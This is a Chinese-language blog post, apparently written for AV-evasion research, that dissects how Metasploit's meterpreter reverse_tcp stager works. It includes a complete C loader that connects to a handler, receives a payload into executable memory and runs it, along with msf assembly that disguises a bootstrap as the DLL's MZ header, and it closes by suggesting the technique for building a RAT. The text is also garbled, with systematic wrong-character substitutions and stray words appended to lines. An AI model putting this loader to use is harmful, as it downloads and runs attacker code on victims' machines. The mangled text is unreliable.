最近在作一些msf相關的事情,今天聽到免殺相關的,去查詢了下相關資料。html
第一個不能錯過的就是cobalt strike做者早年寫的metasploit-loader項目了,我看了項目源碼,找了一些相關資料git
在 Meterpreter載荷執行原理分析 文章發現了一些細節性的東西,也感謝該文做者的拋磚引玉,不過文中有一些錯誤以及未說明白的地方,我會一一道來。github
注意:本文只是對我本身的分析結果進行一次覆盤,若是有什麼錯誤之處歡迎你們斧正web
首先咱們須要探討的第一個問題是metasploit的shellcode到底作了什麼?shell
在msf的官方wiki中,官方有對這個問題作一些簡單的解釋bootstrap
從上面的文章咱們大體能知道其實咱們使用msf生成的shellcode只是一個加載器(Stagers),而後加載器經過咱們生成shellcode時指定的ip和端口回連過來取到真正執行的惡意載荷(Stages)c#
那麼提出第二個問題,這個加載器(Stagers)回連的具體代碼流程是怎樣的?windows
咱們經過文檔只能知道Stagers經過網絡加載Stages,那麼Stages是什麼?shellcode?可執行文件?反射dll?這些咱們還都不清楚。api
而後經過網上一些零星的資料,找到了msf郵件組曾經的兩封郵件(源地址已沒法訪問,所幸WebArchive有留存)ruby
裏面提到流程以及關鍵點
流程
No tutorials that I know of, but here are the basic steps:
- connect to the handler
- read a 4-byte length
- allocate a length-byte buffer
- mark it as writable and executable (on Windows you'll need
VirtualProtect for this)- read length bytes into that buffer
- jump to the buffer. easiest way to do this in C is cast it to a
function pointer and call it.
關鍵點
Assuming this is for X86 arch, you have to make sure that the EDI
register contains your socket descriptor (the value of the ConnectSocket
variable). You can do this via inline asm, but it might be easier to
just prepend the 5 bytes for setting it to your shellcode:BF 78 56 34 12 mov edi, 0x12345678
For 64 bit, you have to use the RDI register (and need 10 bytes):
48 BF 78 56 34 12 00 00 00 00 mov rdi, 0x12345678
Hope this helps,
Michael
PS: This is the reason why the calling convention within Metasploit is
called "sockedi" 😃
也就是說主要的流程大體上就是
mov edi, &socket
實現起來並不困難,可是有些奇怪的點,好比爲何須要手動把edi的值設置爲socket的地址?這個咱們先放一放,看看一些loader的源碼
int main(int argc, char * argv[]) { ULONG32 size; char * buffer; void (*function)(); winsock_init(); if (argc != 3) { printf("%s [host] [port]\n", argv[0]); exit(1); } /* connect to the handler */ SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); /* read the 4-byte length */ int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register thanks mihi for pointing this out BF 78 56 34 12 => mov edi, 0x12345678 */ buffer[0] = 0xBF; /* copy the value of our socket to the buffer */ memcpy(buffer + 1, &my_socket, 4); /* read bytes into the buffer */ count = recv_all(my_socket, buffer + 5, size); /* cast our buffer as a function and call it */ function = (void (*)())buffer; function(); return 0; }
其餘的函數我並無列出來,裏面的實現應該也很明白,就是我以前說的流程
而後是先知社區的,其實也就是把上一份代碼註釋翻譯了一下
//主函數 int main(int argc, char * argv[]) { ULONG32 size; char * buffer; //建立函數指針,方便XXOO void (*function)(); winsock_init(); //套接字初始化 //獲取參數,這裏隨便寫,接不接收無所謂,主要是傳遞遠程主機IP和端口 //這個能夠事先定義好 if (argc != 3) { printf("%s [host] [port] ^__^ \n", argv[0]); exit(1); } /*鏈接處處理程序,也就是遠程主機 */ SOCKET my_socket = my_connect(argv[1], atoi(argv[2])); /* 讀取4字節長度 *這裏是meterpreter第一次發送過來的 *4字節緩衝區大小2E840D00,大小可能會有所不一樣,固然也能夠本身丟棄,本身定義一個大小 */ //是否報錯 //若是第一次不是接收的4字節那麼就退出程序 int count = recv(my_socket, (char *)&size, 4, 0); if (count != 4 || size <= 0) punt(my_socket, "read length value Error\n"); /* 分配一個緩衝區 RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) punt(my_socket, "could not alloc buffer\n"); /* *SOCKET賦值到EDI寄存器,裝載到buffer[]中 */ //mov edi buffer[0] = 0xBF; /* 把咱們的socket裏的值複製到緩衝區中去*/ memcpy(buffer + 1, &my_socket, 4); /* 讀取字節到緩衝區 *這裏就循環接收DLL數據,直到接收完畢 */ count = recv_all(my_socket, buffer + 5, size); /* 將緩衝區做爲函數並調用它。 * 這裏能夠看做是shellcode的裝載, * 由於這自己是一個DLL裝載器,完成使命,控制權交給DLL, * 但自己不退出,除非遷移進程,靠DLL裏函數,DLL在DLLMain裏是循環接收指令的,直到遇到退出指令, * (void (*)())buffer的這種用法常常出如今shellcode中 */ function = (void (*)())buffer; function(); return 0; }
兩份代碼都沒解決咱們的疑問
咱們直接翻翻msf源碼
lib/msf/core/payload/windows/reverse_tcp.rb
代碼比較長我就不貼了,簡要說一下, asm_block_recv
函數是接收載荷的函數,而後咱們看看 asm_reverse_tcp
create_socket: push #{encoded_host} ; host in little-endian format push #{encoded_port} ; family AF_INET and port number mov esi, esp ; save pointer to sockaddr struct push eax ; if we succeed, eax will be zero, push zero for the flags param. push eax ; push null for reserved parameter push eax ; we do not specify a WSAPROTOCOL_INFO structure push eax ; we do not specify a protocol inc eax ; push eax ; push SOCK_STREAM inc eax ; push eax ; push AF_INET push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); xchg edi, eax ; save the socket for later, don't care about the value of eax after this
call WSASocketA 以後返回的是socket句柄,返回值通常是在eax裏面,而後把eax賦值到了edi
繼續找找edi,可是發現剩下的edi都是用做調用,好像沒有什麼明顯的做用,那爲何有這個?
這裏就要引入我剛纔說的先知上的那篇文章的問題了,在 Meterpreter載荷執行原理分析 文章中,做者提到
metasploit的meterpreter的payload調用了meterpreter_loader.rb文件,在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件,reflective_dll_loader.rb主要是獲取ReflectiveLoader()的偏移地址,用於重定位使用,沒有什麼可分析的。咱們來到這個文件裏reflectivedllinject.rb,這個文件主要是修復反射dll的,meterpreter_loader.rb文件主要是用於自身模塊使用,修復dll和讀取payload的長度的。
其實 windows/meterpreter/reverse_tcp
是走的 meterpreter_loader
,而不是文中的 reflectivedllinject
,我經過調試發現這個請求載荷的過程是流經 meterpreter_loader
文件的
不過這兩個文件的功效都是差很少的,咱們打開分析一下
映入眼簾的應該是這段
def stage_meterpreter(opts={}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll')) asm_opts = { rdi_offset: offset, length: dll.length, stageless: opts[:stageless] == true } asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length > 62 raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!" end # patch the bootstrap code into the dll's DOS header... dll[ 0, bootstrap.length ] = bootstrap dll end
這段代碼裏面首先取到了metsrv的dll的文件,而後傳入 asm_invoke_metsrv
函數作處理,生成彙編字節碼,而後替換這個dll的頭部
咱們看看 load_rdi_dll
函數,這個函數取到了一個偏移量而後傳入 asm_invoke_metsrv
函數作處理了
def load_rdi_dll(dll_path) dll = '' ::File.open(dll_path, 'rb') { |f| dll = f.read } offset = parse_pe(dll) unless offset raise "Cannot find the ReflectiveLoader entry point in #{dll_path}" end return dll, offset end def parse_pe(dll) pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) offset = nil pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end offset end
甚至咱們不用深究這些函數的具體流程,看名稱就知道,這個是從dll導出表找到了ReflectiveLoader導出函數的地址
而後進入 asm_invoke_metsrv
看看
def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; 'M' pop edx ; 'Z' call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])} ^ unless opts[:stageless] || opts[:force_write_handle] == true asm << %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end asm << %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end
不得不說這段十分巧妙,咱們想一想剛纔的流程是什麼,排開那個 mov edi, &socket
不論,剩下的就是從傳回來的載荷的首地址開始跑了,那假如是一個dll文件,你把一個日常的dll文件,VirtualAlloc後直接跳到地址跑,能跑起來嗎?顯然是不能的,咱們看看msf中的處理
咱們上面的代碼分析過,這個彙編最後是替換了dll的頭部,pe文件的頭部就是dos頭,dos頭必須是MZ開頭,否則這個根本算不上一個pe文件
那 dec ebp
和 pop edx
算怎麼回事?
其實這兩條彙編的機器碼就是
\x4D # dec ebp \x5A # pop edx
剛好構成了MZ頭,而後繼續往下跑,調用了ReflectiveLoader(),這個是反射dll技術,具體代碼技術細節能夠見 https://github.com/stephenfewer/ReflectiveDLLInjection
調用該dll導出函數 ReflectiveLoader
的主要功能就是加載dll自身到內存中,而後返回dllmain的函數地址,返回值是在eax裏面
而後調用 mov [ebx], edi ; write the current socket/handle to the config
把edi也就是上文提到的socket句柄地址存入ebx執行的內存,上面能夠看到
; offset from ReflectiveLoader() to the end of the DLL add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
這段彙編把ebx指向到了該dll加載空間的末尾
緊接着執行
push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
調用儲存在eax中的dllmain的函數
其中的ebx究竟是什麼?
咱們把目光再往外層拉
def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { arch: opts[:uuid].arch, null_session_guid: opts[:null_session_guid] == true, exitfunk: ds[:exit_func] || ds['EXITFUNC'], expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], stageless: opts[:stageless] == true } # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it config.to_b end
能夠看到 stage_payload
中把生成好的dll字節碼和一串config拼接了起來,config裏面的參數要分析的話又是一大塊了,本文不着眼於此
跟進 config.to_b
看看
def to_b config_block end def config_block # start with the session information config = session_block(@opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| config << transport_block(t) end # terminate the transports with NULL (wchar) config << "\x00\x00" # configure the extensions - this will have to change when posix comes # into play. file_extension = 'x86.dll' file_extension = 'x64.dll' unless is_x86? (@opts[:extensions] || []).each do |e| config << extension_block(e, file_extension) end # terminate the extensions with a 0 size config << [0].pack('V') # wire in the extension init data (@opts[:ext_init] || '').split(':').each do |cfg| name, value = cfg.split(',') config << extension_init_block(name, value) end # terminate the ext init config with a final null byte config << "\x00" # and we're done config end
而後咱們跟進 session_block
和 transport_block
看看就能明白這就是一串配置轉化爲字節碼,具體的轉化規則咱們不論
能夠看到 函數裏面有
session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the UUID session_guid # the Session GUID ] session_data.pack('QVVA*A*')
最開始的是0,pack的格式是Q,8位,這8位是幹嗎的?
如今回過頭想一想,當以前生成好的dll載荷,咱們從首地址開始跑,咱們剛纔那個edi(socket地址)填充到哪了,是否是那個dll空間的末尾再日後填,這個空間不剛好就是這8位0嗎?
根據咱們前面的分析,咱們把加載器掛調試器跑起來看看
首先分配完RWX內存空間後,咱們看到了首地址 0x6A0000
,而後咱們在內存窗口中轉到該地址,那咱們重點關注的是dll所在區域的末尾,咱們直接把內存地址轉到 0x6CAC06
(別問我怎麼知道的,方法不少,好比屢次調試)
咱們首先把內存地址轉到這個地方而後往下跑把數據接過來看看
如今前八位仍是空的,可是後面已經有一些數據了,包括一些能看到文字的配置(好比tcp://0.0.0.0:4444)而後繼續下跑,進到咱們分配出來的函數去看看
首當其衝的就是咱們的 mov edi, &socket
,繼續往下
能夠看到,和咱們預期的同樣,複製到了這八位的空間裏面,這裏能夠配合msf源碼以及個人註釋查看
還記得咱們前面分析的源碼中的metsrv dll文件嗎?
咱們能夠在 metasploit-payloads 中找到這個項目的源碼
咱們直接看看metsrc dllmain函數
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_METASPLOIT_ATTACH: bReturnValue = Init((MetsrvConfig*)lpReserved); break; case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }
剛纔調用dllmain咱們是使用了 calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
咱們這個 config_ptr
傳遞的是什麼?是 push ebx ; push the pointer to the configuration start
,也就是那個首8位塞了咱們socket句柄地址的數據的起始地址,而後走 DLL_METASPLOIT_ATTACH
分支,把這個地址中的數據強轉爲了 MetsrvConfig
結構體
咱們看看 MetsrvConfig
結構體
typedef struct _MetsrvConfig { MetsrvSession session; MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports // Extensions will appear after this // After extensions, we get a list of extension initialisers // <name of extension>\x00<datasize><data> // <name of extension>\x00<datasize><data> // \x00 } MetsrvConfig; typedef struct _MetsrvSession { union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). DWORD exit_func; ///! Exit func identifier for when the session ends. int expiry; ///! The total number of seconds to wait before killing off the session. BYTE uuid[UUID_SIZE]; ///! UUID BYTE session_guid[sizeof(GUID)]; ///! Current session GUID } MetsrvSession; typedef struct _MetsrvTransportCommon { CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI int comms_timeout; ///! Number of sessions to wait for a new packet. int retry_total; ///! Total seconds to retry comms for. int retry_wait; ///! Seconds to wait between reconnects. } MetsrvTransportCommon;
這些信息很明顯能看到是一些信息,好比uuid,重試次數之類的,這些在payload的生成選項裏面都能找到
那麼咱們如今差很少明白了,這一塊的東西是強轉成了這個結構體,包括edi中所存放的socket句柄地址
好吧,別忘了咱們的使命,搞清楚這個edi的做用
劃入這個結構體也就是
union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one).
也就是咱們找找 comms_handle
用在了哪
因此進到 Init((MetsrvConfig*)lpReserved)
裏面看看
DWORD Init(MetsrvConfig* metConfig) { // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. dprintf("[METSRV] Getting ready to init with config %p", metConfig); DWORD result = server_setup(metConfig); dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. switch (metConfig->session.exit_func) { case EXITFUNC_SEH: SetUnhandledExceptionFilter(NULL); break; case EXITFUNC_THREAD: ExitThread(0); break; case EXITFUNC_PROCESS: ExitProcess(0); break; default: break; } return result; }
裏面調用了 server_setup
而後吐出告終果,最後返回,跟到外層也就是dllmain的返回值,dllmain返回值做用我不贅述了,而後根據你的生成選項中的 EXITFUNC
來進行退出,退出進程、線程或者SEH異常,這裏咱們無論,咱們看看 server_setup
函數
server_setup函數很長,我就不貼整個函數了
使用了 comms_handle
的我貼一下
... dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); ... dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); if (remote->transport->set_handle) { remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); }
根據這些代碼咱們可以知道是把 Transport handle 設置爲了咱們以前建立的socket
繼續日後找咱們能找到
而後跟進 transport_set_handle_tcp
能夠看到
/*! * @brief Get the socket from the transport (if it's TCP). * @param transport Pointer to the TCP transport containing the socket. * @return The current transport socket FD, if any, or zero. */ static UINT_PTR transport_get_handle_tcp(Transport* transport) { if (transport && transport->type == METERPRETER_TRANSPORT_TCP) { return (UINT_PTR)((TcpTransportContext*)transport->ctx)->fd; } return 0; } /*! * @brief Set the socket from the transport (if it's TCP). * @param transport Pointer to the TCP transport containing the socket. * @param handle The current transport socket FD, if any. */ static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) { if (transport && transport->type == METERPRETER_TRANSPORT_TCP) { ((TcpTransportContext*)transport->ctx)->fd = (SOCKET)handle; } }
也只是轉爲了socket句柄,而後給外部再繼續經過這個socket去取一些服務器上的東西(後面的我沒再跟下去了,我猜想也只有這種可能)
此次的分析耗時一天,從上午看到討論免殺,加載器,而後開始分析,說實話,仍是收穫了很多,好比那個反射dll的改dos頭就讓我不得不佩服,臥槽,這操做騷。本次只是拿 windows/meterpreter/reverse_tcp
開刀,我相信其餘的也同樣,否則何以被官方稱 sockedi
調用約定,說明這已是msf裏面加載的約定成俗的東西了。
那麼從此次的分析中咱們能得到哪些啓示?固然是免殺對抗的啓示,antiAV方能夠經過研究使用本身的payload格式,AV方能夠經過這個流程來對msf的payload的查殺更上一步,或者根據裏面的改DOS頭技術打造本身的模塊化RAT